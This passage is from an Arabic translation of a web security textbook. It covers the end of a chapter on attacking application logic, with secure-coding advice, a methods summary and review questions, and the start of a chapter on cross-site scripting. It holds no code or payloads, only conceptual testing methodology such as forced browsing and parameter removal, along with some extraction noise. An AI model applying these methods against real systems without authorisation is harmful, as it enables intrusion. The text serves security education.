‫ﺑﻨﺎء ًﻋﻠﻰ ﻧﺘﺎﺉﺞ ﺍﻟﺒﺤﺚ‪ .‬ﻭﺇﺫﺍ ﻟﺰﻡ ﺍﻷﻣﺮ‪ ،‬ﺍﺣﺘﻔﻆ ﺑﻌﺪﺓ ﻓﻬﺎﺭﺱ ﺑﺤﺚ ﺑﻨﺎء ًﻋﻠﻰ ﻣﺴﺘﻮﻳﺎﺕ‬
‫ﻣﺨﺘﻠﻔﺔﻣﻦ ﺻﻼﺣﻴﺎﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ ،‬ﺃﻭ ﺃﺟﺮ ِﻋﻤﻠﻴﺎﺕ ﺑﺤﺚ ﺩﻳﻨﺎﻣﻴﻜﻴﺔ ﻓﻲ ﻣﺴﺘﻮﺩﻋﺎﺕ‬
‫ﺍﻟﻤﻌﻠﻮﻣﺎﺕﺑﺼﻼﺣﻴﺎﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﻄﺎﻟﺐ‪.‬‬

‫ﻛﻦﺣﺬﺭﺍً ﻟﻠﻐﺎﻳﺔ ﻋﻨﺪ ﺗﻄﺒﻴﻖ ﺃﻱ ﻭﻇﻴﻔﺔ ﺗﻤُﻜﻦّ ﺃﻱ ﻣﺴﺘﺨﺪﻡ ﻣﻦ ﺣﺬﻑ ﻋﻨﺎﺻﺮ ﻣﻦ ﺳﺠﻞ‬ ‫‪-‬‬

‫ﺍﻟﺘﺪﻗﻴﻖ‪.‬ﻛﺬﻟﻚ‪ ،‬ﺿﻊ ﻓﻲ ﺍﻋﺘﺒﺎﺭﻙ ﺍﻟﺘﺄﺛﻴﺮ ﺍﻟﻤﺤﺘﻤﻞ ﻟﻘﻴﺎﻡ ﻣﺴﺘﺨﺪﻡ ﺫﻱ ﺍﻣﺘﻴﺎﺯﺍﺕ ﻋﺎﻟﻴﺔ‬


‫ﺑﺈﻧﺸﺎءﻣﺴﺘﺨﺪﻡ ﺁﺧﺮ ﺑﻨﻔﺲ ﻣﺴﺘﻮﻯ ﺍﻻﻣﺘﻴﺎﺯ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﺨﺎﺿﻌﺔ ﻟﺘﺪﻗﻴﻖ ﻣﻜﺜﻒ‬
‫ﻭﻧﻤﺎﺫﺝﺍﻟﺘﻔﻮﻳﺾ ﺍﻟﻤﺰﺩﻭﺝ‪.‬‬
‫ﻋﻨﺪﺇﺟﺮﺍء ﻋﻤﻠﻴﺎﺕ ﺗﺤﻘﻖ ﺑﻨﺎء ًﻋﻠﻰ ﺣﺪﻭﺩ ﻭﻋﺘﺒﺎﺕ ﺍﻷﻋﻤﺎﻝ ﺍﻟﺮﻗﻤﻴﺔ‪ ،‬ﻳﺮُﺟﻰ ﺇﺟﺮﺍء ﺗﺪﻗﻴﻖ‬ ‫‪-‬‬

‫ﺻﺎﺭﻡﻟﻠﺒﻴﺎﻧﺎﺕ ﻭﺗﻨﺴﻴﻘﻬﺎ ﻋﻠﻰ ﺟﻤﻴﻊ ﻣﺪﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻗﺒﻞ ﻣﻌﺎﻟﺠﺘﻬﺎ‪ .‬ﺇﺫﺍ ﻟﻢ ﻳﻜﻦ ﻣﻦ‬
‫ﺍﻟﻤﺘﻮﻗﻊﺍﻟﺤﺼﻮﻝ ﻋﻠﻰ ﺃﺭﻗﺎﻡ ﺳﺎﻟﺒﺔ‪ ،‬ﻓﺎﺭﻓﺾ ﺻﺮﺍﺣﺔ ًﺍﻟﻄﻠﺒﺎﺕ ﺍﻟﺘﻲ ﺗﺤﺘﻮﻱ ﻋﻠﻴﻬﺎ‪.‬‬

‫ﻋﻨﺪﺗﻨﻔﻴﺬ ﺍﻟﺨﺼﻮﻣﺎﺕ ﺑﻨﺎء ًﻋﻠﻰ ﺣﺠﻢ ﺍﻟﻄﻠﺒﺎﺕ‪ ،‬ﺗﺄﻛﺪ ﻣﻦ ﺍﻻﻧﺘﻬﺎء ﻣﻦ ﺍﻟﻄﻠﺒﺎﺕ ﻗﺒﻞ ﺗﻄﺒﻴﻖ‬ ‫‪-‬‬

‫ﺍﻟﺨﺼﻢﻓﻌﻠﻴﺎً‪.‬‬
‫ﻋﻨﺪﺇﻓﻼﺕ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﻤﻘﺪﻣﺔ ﻣﻦ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻗﺒﻞ ﺗﻤﺮﻳﺮﻫﺎ ﺇﻟﻰ ﻣﻜﻮﻥ ﺗﻄﺒﻴﻖ ﻣﻌﺮﺽ‬ ‫‪-‬‬

‫ﻟﻠﺨﻄﺮ‪،‬ﺗﺄﻛﺪ ﺩﺍﺉﻤﺎً ﻣﻦ ﺇﻓﻼﺕ ﺣﺮﻑ ﺍﻹﻓﻼﺕ ﻧﻔﺴﻪ‪ ،‬ﻭﺇﻻ ﻓﻘﺪ ﻳﺘﻢ ﻛﺴﺮ ﺁﻟﻴﺔ ﺍﻟﺘﺤﻘﻖ ﺑﺄﻛﻤﻠﻬﺎ‪.‬‬

‫ﺍﺳﺘﺨﺪﻡﺩﺍﺉﻤﺎً ﻣﺴﺎﺣﺔ ﺗﺨﺰﻳﻦ ﻣﻨﺎﺳﺒﺔ ﻟﻼﺣﺘﻔﺎﻅ ﺑﺄﻱ ﺑﻴﺎﻧﺎﺕ ﺗﺘﻌﻠﻖ ﺑﻤﺴﺘﺨﺪﻡ ﻓﺮﺩﻱ ‪-‬‬ ‫‪-‬‬

‫ﺳﻮﺍءﻓﻲ ﺍﻟﺠﻠﺴﺔ ﺃﻭ ﻓﻲ ﻣﻠﻒ ﺗﻌﺮﻳﻒ ﺍﻟﻤﺴﺘﺨﺪﻡ‪.‬‬

‫ﻣﻠﺨﺺ‬
‫ﻳﺘﻀﻤﻦﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ ﻣﺰﻳﺠﺎً ﻣﻦ ﺍﻟﺒﺤﺚ ﺍﻟﻤﻨﻬﺠﻲ ﻭﺍﻟﺘﻔﻜﻴﺮ ﺍﻟﺠﺎﻧﺒﻲ‪ .‬ﻟﻘﺪ ﻭﺻﻔﻨﺎ ﺍﻟﻌﺪﻳﺪ‬
‫ﻣﻦﺍﻻﺧﺘﺒﺎﺭﺍﺕ ﺍﻟﺮﺉﻴﺴﻴﺔ ﺍﻟﺘﻲ ﻳﺠﺐ ﻋﻠﻴﻚ ﺇﺟﺮﺍﺅﻫﺎ ﺩﺍﺉﻤﺎً ﻻﺧﺘﺒﺎﺭ ﺳﻠﻮﻙ ﺍﻟﺘﻄﺒﻴﻖ ﺍﺳﺘﺠﺎﺑﺔ ً‬
‫ﻟﻠﻤﺪﺧﻼﺕﻏﻴﺮ ﺍﻟﻤﺘﻮﻗﻌﺔ‪ .‬ﺗﺸﻤﻞ ﻫﺬﻩ ﺍﻻﺧﺘﺒﺎﺭﺍﺕ ﺇﺯﺍﻟﺔ ﺍﻟﻤﻌﻠﻤﺎﺕ ﻣﻦ ﺍﻟﻄﻠﺒﺎﺕ‪ ،‬ﻭﺍﺳﺘﺨﺪﺍﻡ‬
‫ﺍﻟﺘﺼﻔﺢﺍﻟﻘﺴﺮﻱ ﻟﻠﻮﺻﻮﻝ ﺇﻟﻰ ﻭﻇﺎﺉﻒ ﺧﺎﺭﺝ ﺍﻟﺘﺴﻠﺴﻞ‪ ،‬ﻭﺇﺭﺳﺎﻝ ﺍﻟﻤﻌﻠﻤﺎﺕ ﺇﻟﻰ ﻣﻮﺍﻗﻊ ﻣﺨﺘﻠﻔﺔ‬
‫ﺩﺍﺧﻞﺍﻟﺘﻄﺒﻴﻖ‪ .‬ﻏﺎﻟﺒﺎً ﻣﺎ ﺗﺸﻴﺮ ﻃﺮﻳﻘﺔ ﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺘﻄﺒﻴﻖ ﻟﻬﺬﻩ ﺍﻹﺟﺮﺍءﺍﺕ ﺇﻟﻰ ﺍﻓﺘﺮﺍﺽ ﺧﺎﻃﺊ‬
‫ﻳﻤﻜﻨﻚﺍﻧﺘﻬﺎﻛﻪ‪ ،‬ﻣﻤﺎ ﻗﺪ ﻳﺆﺩﻱ ﺇﻟﻰ ﻧﺘﺎﺉﺞ ﺿﺎﺭﺓ‪.‬‬

‫ﺑﺎﻹﺿﺎﻓﺔﺇﻟﻰ ﻫﺬﻩ ﺍﻻﺧﺘﺒﺎﺭﺍﺕ ﺍﻷﺳﺎﺳﻴﺔ‪ ،‬ﻓﺈﻥ ﺍﻟﺘﺤﺪﻱ ﺍﻷﻫﻢ ﻋﻨﺪ ﺍﻟﺒﺤﺚ ﻋﻦ ﺍﻟﻌﻴﻮﺏ ﺍﻟﻤﻨﻄﻘﻴﺔ‬
‫ﻫﻮﻣﺤﺎﻭﻟﺔ ﻓﻬﻢ ﻋﻘﻮﻝ ﺍﻟﻤﻄﻮﺭﻳﻦ‪ .‬ﻋﻠﻴﻚ ﻓﻬﻢ ﻣﺎ ﻛﺎﻧﻮﺍ ﻳﺴﻌﻮﻥ ﺇﻟﻰ ﺗﺤﻘﻴﻘﻪ‪ ،‬ﻭﺍﻻﻓﺘﺮﺍﺿﺎﺕ ﺍﻟﺘﻲ ﺭﺑﻤﺎ‬
‫ﻭﺿﻌﻮﻫﺎ‪.‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ‬ ‫‪430‬‬

‫ﻣﺎﻫﻲ ﺍﻟﻄﺮﻕ ﺍﻟﻤﺨﺘﺼﺮﺓ ﺍﻟﺘﻲ ﺭﺑﻤﺎ ﺍﺳﺘﺨﺪﻣﻮﻫﺎ‪ ،‬ﻭﻣﺎ ﻫﻲ ﺍﻷﺧﻄﺎء ﺍﻟﺘﻲ ﺭﺑﻤﺎ ﺍﺭﺗﻜﺒﻮﻫﺎ‪ .‬ﺗﺨﻴﻞّ ﺃﻧﻚ‬
‫ﺗﻌﻤﻞﺿﻤﻦ ﻣﻬﻠﺔ ﺯﻣﻨﻴﺔ ﺿﻴﻘﺔ‪ ،‬ﻭﺗﺮﻛﺰ ﺍﻫﺘﻤﺎﻣﻚ ﺑﺸﻜﻞ ﺃﺳﺎﺳﻲ ﻋﻠﻰ ﺍﻟﻮﻇﻴﻔﺔ ﺑﺪﻻ ًﻣﻦ ﺍﻷﻣﺎﻥ‪ ،‬ﺃﻭ‬
‫ﺗﺤﺎﻭﻝﺇﺿﺎﻓﺔ ﻭﻇﻴﻔﺔ ﺟﺪﻳﺪﺓ ﺇﻟﻰ ﻗﺎﻋﺪﺓ ﺑﻴﺎﻧﺎﺕ ﻣﻮﺟﻮﺩﺓ‪ ،‬ﺃﻭ ﺗﺴﺘﺨﺪﻡ ﻭﺍﺟﻬﺎﺕ ﺑﺮﻣﺠﺔ ﺗﻄﺒﻴﻘﺎﺕ‬
‫)‪ (APIs‬ﺳﻴﺉﺔ ﺍﻟﺘﻮﺛﻴﻖ ﻛﺘﺒﻬﺎ ﺷﺨﺺ ﺁﺧﺮ‪ .‬ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ‪ ،‬ﻣﺎ ﺍﻟﺨﻄﺄ ﺍﻟﺬﻱ ﻗﺪ ﻳﻘﻊ ﻓﻴﻪ‪ ،‬ﻭﻛﻴﻒ‬
‫ﻳﻤﻜﻦﺍﺳﺘﻐﻼﻟﻪ؟‬

‫ﺃﺳﺉﻠﺔ‬

‫ﻳﻤﻜﻦﺍﻟﻌﺜﻮﺭ ﻋﻠﻰ ﺍﻹﺟﺎﺑﺎﺕ ﻓﻲ‪http://mdsec.net/wahh.‬‬

‫‪.1‬ﻣﺎ ﻫﻮ ﺍﻟﺘﺼﻔﺢ ﺍﻟﻘﺴﺮﻱ‪ ،‬ﻭﻣﺎ ﺃﻧﻮﺍﻉ ﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ ﺍﻟﺘﻲ ﻳﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻣﻪ ﻟﺘﺤﺪﻳﺪﻫﺎ؟‬

‫‪.٢‬ﻳﻄُﺒﻖّ ﺍﻟﺘﻄﺒﻴﻖ ﻣﺮُﺷﺤّﺎﺕ ﻋﺎﻟﻤﻴﺔ ﻣﺨُﺘﻠﻔﺔ ﻋﻠﻰ ﻣﺪُﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ ،‬ﻣﺼُﻤﻤّﺔ ﻟﻤﻨﻊ ﻓﺉﺎﺕ‬
‫ﻣﺨُﺘﻠﻔﺔﻣﻦ ﺍﻟﻬﺠﻤﺎﺕ‪ .‬ﻟﻠﺤﻤﺎﻳﺔ ﻣﻦ ﺣﻘﻦ ‪ ،SQL‬ﻳﻀُﺎﻋﻒ ﺍﻟﺘﻄﺒﻴﻖ ﺃﻱ ﻋﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ‬
‫ﻣﻔﺮﺩﺓﺗﻈﻬﺮ ﻓﻲ ﻣﺪُﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ .‬ﻭﻟﻤﻨﻊ ﻫﺠﻤﺎﺕ ﺗﺠﺎﻭﺯ ﺳﻌﺔ ﺍﻟﻤﺨﺰﻥ ﺍﻟﻤﺆﻗﺖ ﺿﺪ‬
‫ﺑﻌﺾﻣﻜُﻮﻧّﺎﺕ ﺍﻟﻜﻮﺩ ﺍﻷﺻﻠﻲ‪ ،‬ﻳﻘُﻠﺺّ ﺃﻱ ﻋﻨﺎﺻﺮ ﻃﻮﻳﻠﺔ ﺇﻟﻰ ﺣﺪ ّﻣﻌﻘﻮﻝ‪.‬‬

‫ﻣﺎﺍﻟﺬﻱ ﻗﺪ ﻳﺤﺪﺙ ﺧﻄﺄ ﻣﻊ ﻫﺬﻩ ﺍﻟﻤﺮﺷﺤﺎﺕ؟‬


‫‪.٣‬ﻣﺎ ﻫﻲ ﺍﻟﺨﻄﻮﺍﺕ ﺍﻟﺘﻲ ﻳﻤﻜﻨﻚ ﺍﺗﺨﺎﺫﻫﺎ ﻟﻠﺘﺤﻘﻖ ﻣﻦ ﺣﺎﻟﺔ ﻓﺸﻞ ﻓﺘﺢ ﺩﺍﻟﺔ ﺗﺴﺠﻴﻞ ﺍﻟﺪﺧﻮﻝ؟ )‬
‫ﺻﻒﺃﻛﺒﺮ ﻋﺪﺩ ﻣﻤﻜﻦ ﻣﻦ ﺍﻻﺧﺘﺒﺎﺭﺍﺕ ﺍﻟﻤﺨﺘﻠﻔﺔ ﺍﻟﺘﻲ ﻳﻤﻜﻨﻚ ﺗﺨﻴﻠﻬﺎ‪(.‬‬
‫‪.٤‬ﻳﻄُﺒﻖّ ﺗﻄﺒﻴﻖ ﻣﺼﺮﻓﻲ ﺁﻟﻴﺔ ﺗﺴﺠﻴﻞ ﺩﺧﻮﻝ ﻣﺘﻌﺪﺩﺓ ﺍﻟﻤﺮﺍﺣﻞ ﻣﺼﻤﻤﺔ ﻟﺘﻜﻮﻥ ﻓﺎﺉﻘﺔ ﺍﻟﻤﺘﺎﻧﺔ‪.‬‬
‫ﻓﻲﺍﻟﻤﺮﺣﻠﺔ ﺍﻷﻭﻟﻰ‪ ،‬ﻳﺪُﺧﻞ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﺳﻢ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻭﻛﻠﻤﺔ ﺍﻟﻤﺮﻭﺭ‪ .‬ﻓﻲ ﺍﻟﻤﺮﺣﻠﺔ ﺍﻟﺜﺎﻧﻴﺔ‪،‬‬
‫ﻳﺪُﺧﻞﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﻘﻴﻤﺔ ﺍﻟﻤﺘﻐﻴﺮﺓ ﻋﻠﻰ ﺭﻣﺰ ﻣﺎﺩﻱ ﻳﻤﻠﻜﻪ‪ ،‬ﻭﻳﻌُﺎﺩ ﺇﺩﺧﺎﻝ ﺍﺳﻢ ﺍﻟﻤﺴﺘﺨﺪﻡ‬
‫ﺍﻷﺻﻠﻲﻓﻲ ﺣﻘﻞ ﻧﻤﻮﺫﺝ ﻣﺨﻔﻲ‪.‬‬

‫ﻣﺎﻫﻮ ﺍﻟﺨﻠﻞ ﺍﻟﻤﻨﻄﻘﻲ ﺍﻟﺬﻱ ﻳﺠﺐ ﻋﻠﻴﻚ ﺍﻟﺘﺤﻘﻖ ﻣﻨﻪ ﻋﻠﻰ ﺍﻟﻔﻮﺭ؟‬
‫‪.٥‬ﺃﻧﺖ ﺗﻔﺤﺺ ﺗﻄﺒﻴﻘﺎً ﺑﺤﺜﺎً ﻋﻦ ﻓﺉﺎﺕ ﺷﺎﺉﻌﺔ ﻣﻦ ﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ ﻋﻦ ﻃﺮﻳﻖ ﺇﺭﺳﺎﻝ ﺑﻴﺎﻧﺎﺕ‬
‫ﻣﻌُﺪﺓّ‪.‬ﻓﻲ ﻛﺜﻴﺮ ﻣﻦ ﺍﻷﺣﻴﺎﻥ‪ ،‬ﻳﻌُﻴﺪ ﺍﻟﺘﻄﺒﻴﻖ ﺭﺳﺎﺉﻞ ﺧﻄﺄ ﻣﻄُﻮﻟّﺔ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﻣﻌﻠﻮﻣﺎﺕ‬
‫ﺗﺼﺤﻴﺢﺍﻷﺧﻄﺎء‪ .‬ﺃﺣﻴﺎﻧﺎً‪ ،‬ﺗﺘﻌﻠﻖ ﻫﺬﻩ ﺍﻟﺮﺳﺎﺉﻞ ﺑﺄﺧﻄﺎء ﺃﻧﺸﺄﻫﺎ ﻣﺴﺘﺨﺪﻣﻮﻥ ﺁﺧﺮﻭﻥ‪ .‬ﻋﻨﺪ‬
‫ﺣﺪﻭﺙﺫﻟﻚ‪ ،‬ﻻ ﻳﻤﻜﻨﻚ ﺇﻋﺎﺩﺓ ﺇﻧﺘﺎﺝ ﺍﻟﺴﻠﻮﻙ ﻣﺮﺓ ﺃﺧﺮﻯ‪ .‬ﻣﺎ ﺍﻟﺨﻠﻞ ﺍﻟﻤﻨﻄﻘﻲ ﺍﻟﺬﻱ ﻗﺪ ﻳﺸُﻴﺮ‬
‫ﺇﻟﻴﻪﻫﺬﺍ‪ ،‬ﻭﻛﻴﻒ ﻳﻨﺒﻐﻲ ﻋﻠﻴﻚ ﺍﻟﻤﺘُﺎﺑﻌﺔ؟‬
‫ﺗﻴﺮ‬ ‫‪21‬‬
‫ﺃﺏ‬ ‫‪CH‬‬

‫ﺍﻟﻬﺠﻮﻡ‬
‫‪:‬ﺍﻟﻤﺴﺘﺨﺪﻣﻮﻥ‪g‬‬

‫ﻋﺒﺮﺍﻟﻤﻮﻗﻊ ‪ S‬ﺍﻟﺘﺸﻔﻴﺮ‬

‫ﺟﻤﻴﻊﺍﻟﻬﺠﻤﺎﺕ ﺍﻟﺘﻲ ﺗﻨﺎﻭﻟﻨﺎﻫﺎ ﺣﺘﻰ ﺍﻵﻥ ﺗﺴﺘﻬﺪﻑ ﺗﻄﺒﻴﻖ ﺍﻟﺨﺎﺩﻡ ﻣﺒﺎﺷﺮﺓ‪ ً.‬ﻭﺑﺎﻟﻄﺒﻊ‪ ،‬ﻓﺈﻥ ﺍﻟﻌﺪﻳﺪ‬
‫ﻣﻦﻫﺬﻩ ﺍﻟﻬﺠﻤﺎﺕ ﺗﺆﺛﺮ ﻋﻠﻰ ﻣﺴﺘﺨﺪﻣﻴﻦ ﺁﺧﺮﻳﻦ‪ ،‬ﻣﺜﻞ ﻫﺠﻮﻡ ﺣﻘﻦ ‪ SQL‬ﺍﻟﺬﻱ ﻳﺴﺮﻕ ﺑﻴﺎﻧﺎﺕ‬
‫ﻣﺴﺘﺨﺪﻣﻴﻦﺁﺧﺮﻳﻦ‪ .‬ﺇﻻ ﺃﻥ ﻣﻨﻬﺠﻴﺔ ﺍﻟﻤﻬﺎﺟﻢ ﺍﻷﺳﺎﺳﻴﺔ ﻛﺎﻧﺖ ﺍﻟﺘﻔﺎﻋﻞ ﻣﻊ ﺍﻟﺨﺎﺩﻡ ﺑﻄﺮﻕ ﻏﻴﺮ ﻣﺘﻮﻗﻌﺔ‬
‫ﻟﺘﻨﻔﻴﺬﺇﺟﺮﺍءﺍﺕ ﻏﻴﺮ ﻣﺼﺮﺡ ﺑﻬﺎ ﻭﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﺑﻴﺎﻧﺎﺕ ﻏﻴﺮ ﻣﺼﺮﺡ ﺑﻬﺎ‪.‬‬

‫ﺗﻨﺪﺭﺝﺍﻟﻬﺠﻤﺎﺕ ﺍﻟﻤﻮﺻﻮﻓﺔ ﻓﻲ ﻫﺬﺍ ﺍﻟﻔﺼﻞ ﻭﺍﻟﻔﺼﻞ ﺍﻟﺘﺎﻟﻲ ﺿﻤﻦ ﻓﺉﺔ ﻣﺨﺘﻠﻔﺔ‪ ،‬ﻷﻥ ﺍﻟﻬﺪﻑ‬
‫ﺍﻟﺮﺉﻴﺴﻲﻟﻠﻤﻬﺎﺟﻢ ﻫﻮ ﻣﺴﺘﺨﺪﻣﻮ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻵﺧﺮﻭﻥ‪ .‬ﻻ ﺗﺰﺍﻝ ﺟﻤﻴﻊ ﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ ﺫﺍﺕ ﺍﻟﺼﻠﺔ‬
‫ﻣﻮﺟﻮﺩﺓﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ﻧﻔﺴﻪ‪ .‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﻳﺴﺘﻐﻞ ﺍﻟﻤﻬﺎﺟﻢ ﺑﻌﺾ ﺟﻮﺍﻧﺐ ﺳﻠﻮﻙ ﺍﻟﺘﻄﺒﻴﻖ ﻟﺘﻨﻔﻴﺬ‬
‫ﺃﻋﻤﺎﻝﺧﺒﻴﺜﺔ ﺿﺪ ﻣﺴﺘﺨﺪﻡ ﻧﻬﺎﺉﻲ ﺁﺧﺮ‪ .‬ﻗﺪ ﺗﺆﺩﻱ ﻫﺬﻩ ﺍﻷﻋﻤﺎﻝ ﺇﻟﻰ ﺑﻌﺾ ﺍﻵﺛﺎﺭ ﻧﻔﺴﻬﺎ ﺍﻟﺘﻲ‬
‫ﺩﺭﺳﻨﺎﻫﺎﺳﺎﺑﻘﺎً‪ ،‬ﻣﺜﻞ ﺍﺧﺘﻄﺎﻑ ﺍﻟﺠﻠﺴﺔ‪ ،‬ﻭﺍﻹﺟﺮﺍءﺍﺕ ﻏﻴﺮ ﺍﻟﻤﺼﺮﺡ ﺑﻬﺎ‪ ،‬ﻭﺍﻟﻜﺸﻒ ﻋﻦ ﺍﻟﺒﻴﺎﻧﺎﺕ‬
‫ﺍﻟﺸﺨﺼﻴﺔ‪.‬ﻛﻤﺎ ﻗﺪ ﺗﺆﺩﻱ ﺇﻟﻰ ﻧﺘﺎﺉﺞ ﻏﻴﺮ ﻣﺮﻏﻮﺏ ﻓﻴﻬﺎ ﺃﺧﺮﻯ‪ ،‬ﻣﺜﻞ ﺗﺴﺠﻴﻞ ﺿﻐﻄﺎﺕ ﺍﻟﻤﻔﺎﺗﻴﺢ ﺃﻭ‬
‫ﺗﻨﻔﻴﺬﺃﻭﺍﻣﺮ ﻋﺸﻮﺍﺉﻴﺔ ﻋﻠﻰ ﺃﺟﻬﺰﺓ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪.‬‬

‫ﺷﻬﺪﺕﻣﺠﺎﻻﺕ ﺃﺧﺮﻯ ﻣﻦ ﺃﻣﻦ ﺍﻟﺒﺮﻣﺠﻴﺎﺕ ﺗﺤﻮﻻ ًﺗﺪﺭﻳﺠﻴﺎ ًﻓﻲ ﺍﻟﺘﺮﻛﻴﺰ ﻣﻦ ﻫﺠﻤﺎﺕ ﺍﻟﺨﺎﺩﻡ ﺇﻟﻰ‬
‫ﻫﺠﻤﺎﺕﺍﻟﻌﻤﻴﻞ ﻓﻲ ﺍﻟﺴﻨﻮﺍﺕ ﺍﻷﺧﻴﺮﺓ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﺍﻋﺘﺎﺩﺕ ﻣﺎﻳﻜﺮﻭﺳﻮﻓﺖ ﺍﻹﻋﻼﻥ ﺑﺸﻜﻞ‬
‫ﻣﺘﻜﺮﺭﻋﻦ ﺛﻐﺮﺍﺕ ﺃﻣﻨﻴﺔ ﺧﻄﻴﺮﺓ ﻓﻲ ﻣﻨﺘﺠﺎﺕ ﺍﻟﺨﻮﺍﺩﻡ ﺍﻟﺨﺎﺻﺔ ﺑﻬﺎ‪ .‬ﻭﺭﻏﻢ ﺍﻟﻜﺸﻒ ﻋﻦ ﺍﻟﻌﺪﻳﺪ ﻣﻦ‬
‫ﺍﻟﻌﻴﻮﺏﻓﻲ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ‪ ،‬ﺇﻻ ﺃﻧﻬﺎ ﻟﻢ ﺗﺤﻆ َﺑﺎﻫﺘﻤﺎﻡ ﻛﺒﻴﺮ ﻷﻥ ﺍﻟﺨﻮﺍﺩﻡ ﻛﺎﻧﺖ ﻫﺪﻓﺎ ًﺃﻛﺜﺮ ﺟﺎﺫﺑﻴﺔ‬
‫ﻟﻤﻌﻈﻢﺍﻟﻤﻬﺎﺟﻤﻴﻦ‪ .‬ﻓﻲ ﻏﻀﻮﻥ ﺑﻀﻊ ﺳﻨﻮﺍﺕ ﻓﻘﻂ‪ ،‬ﻣﻊ ﺑﺪﺍﻳﺔ ﺍﻟﻘﺮﻥ ﺍﻟﺤﺎﺩﻱ ﻭﺍﻟﻌﺸﺮﻳﻦ‪ ،‬ﺗﻐﻴﺮ ﻫﺬﺍ‬
‫ﺍﻟﻮﺿﻊﺑﺸﻜﻞ ﻣﻠﺤﻮﻅ‪ .‬ﻭﻗﺖ ﻛﺘﺎﺑﺔ ﻫﺬﻩ ﺍﻟﺴﻄﻮﺭ‪،‬‬

‫‪431‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪432‬‬

‫ﻟﻢﻳﻌُﻠﻦ ﻋﻠﻨﺎً ﻋﻦ ﺃﻱ ﺛﻐﺮﺍﺕ ﺃﻣﻨﻴﺔ ﺣﺮﺟﺔ ﻓﻲ ﺧﺎﺩﻡ ﻭﻳﺐ ‪ IIS‬ﻣﻦ ﻣﺎﻳﻜﺮﻭﺳﻮﻓﺖ ﺑﺪءﺍً ﻣﻦ ﺍﻹﺻﺪﺍﺭ‬
‫ﺍﻟﺴﺎﺩﺱ‪.‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﻣﻨﺬ ﺇﺻﺪﺍﺭ ﻫﺬﺍ ﺍﻟﻤﻨﺘﺞ ﻷﻭﻝ ﻣﺮﺓ‪ ،‬ﻛﺸُﻒ ﻋﻦ ﻋﺪﺩ ﻛﺒﻴﺮ ﻣﻦ ﺍﻟﻌﻴﻮﺏ ﻓﻲ‬
‫ﻣﺘﺼﻔﺢﺇﻧﺘﺮﻧﺖ ﺇﻛﺴﺒﻠﻮﺭﺭ ﻣﻦ ﻣﺎﻳﻜﺮﻭﺳﻮﻓﺖ‪ .‬ﻭﻣﻊ ﺗﺰﺍﻳﺪ ﺍﻟﻮﻋﻲ ﺍﻟﻌﺎﻡ ﺑﺎﻟﺘﻬﺪﻳﺪﺍﺕ ﺍﻷﻣﻨﻴﺔ‪ ،‬ﺍﻧﺘﻘﻠﺖ‬
‫ﺍﻟﻤﻌﺮﻛﺔﺑﻴﻦ ﻣﺎﻟﻜﻲ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﻭﺍﻟﻤﺨﺘﺮﻗﻴﻦ ﻣﻦ ﺍﻟﺨﺎﺩﻡ ﺇﻟﻰ ﺍﻟﻌﻤﻴﻞ‪.‬‬

‫ﻋﻠﻰﺍﻟﺮﻏﻢ ﻣﻦ ﺗﺄﺧﺮ ﺗﻄﻮﻳﺮ ﺃﻣﻦ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ ﺑﻀﻊ ﺳﻨﻮﺍﺕ‪ ،‬ﺇﻻ ﺃﻧﻪ ﻳﻤﻜﻦ ﺭﺻﺪ ﻧﻔﺲ ﺍﻟﺘﻮﺟﻪ‪.‬‬
‫ﻓﻔﻲﺃﻭﺍﺧﺮ ﺍﻟﺘﺴﻌﻴﻨﻴﺎﺕ‪ ،‬ﻛﺎﻧﺖ ﻣﻌﻈﻢ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﻋﻠﻰ ﺍﻹﻧﺘﺮﻧﺖ ﺗﻌﺎﻧﻲ ﻣﻦ ﻋﻴﻮﺏ ﺣﺮﺟﺔ‪ ،‬ﻣﺜﻞ‬
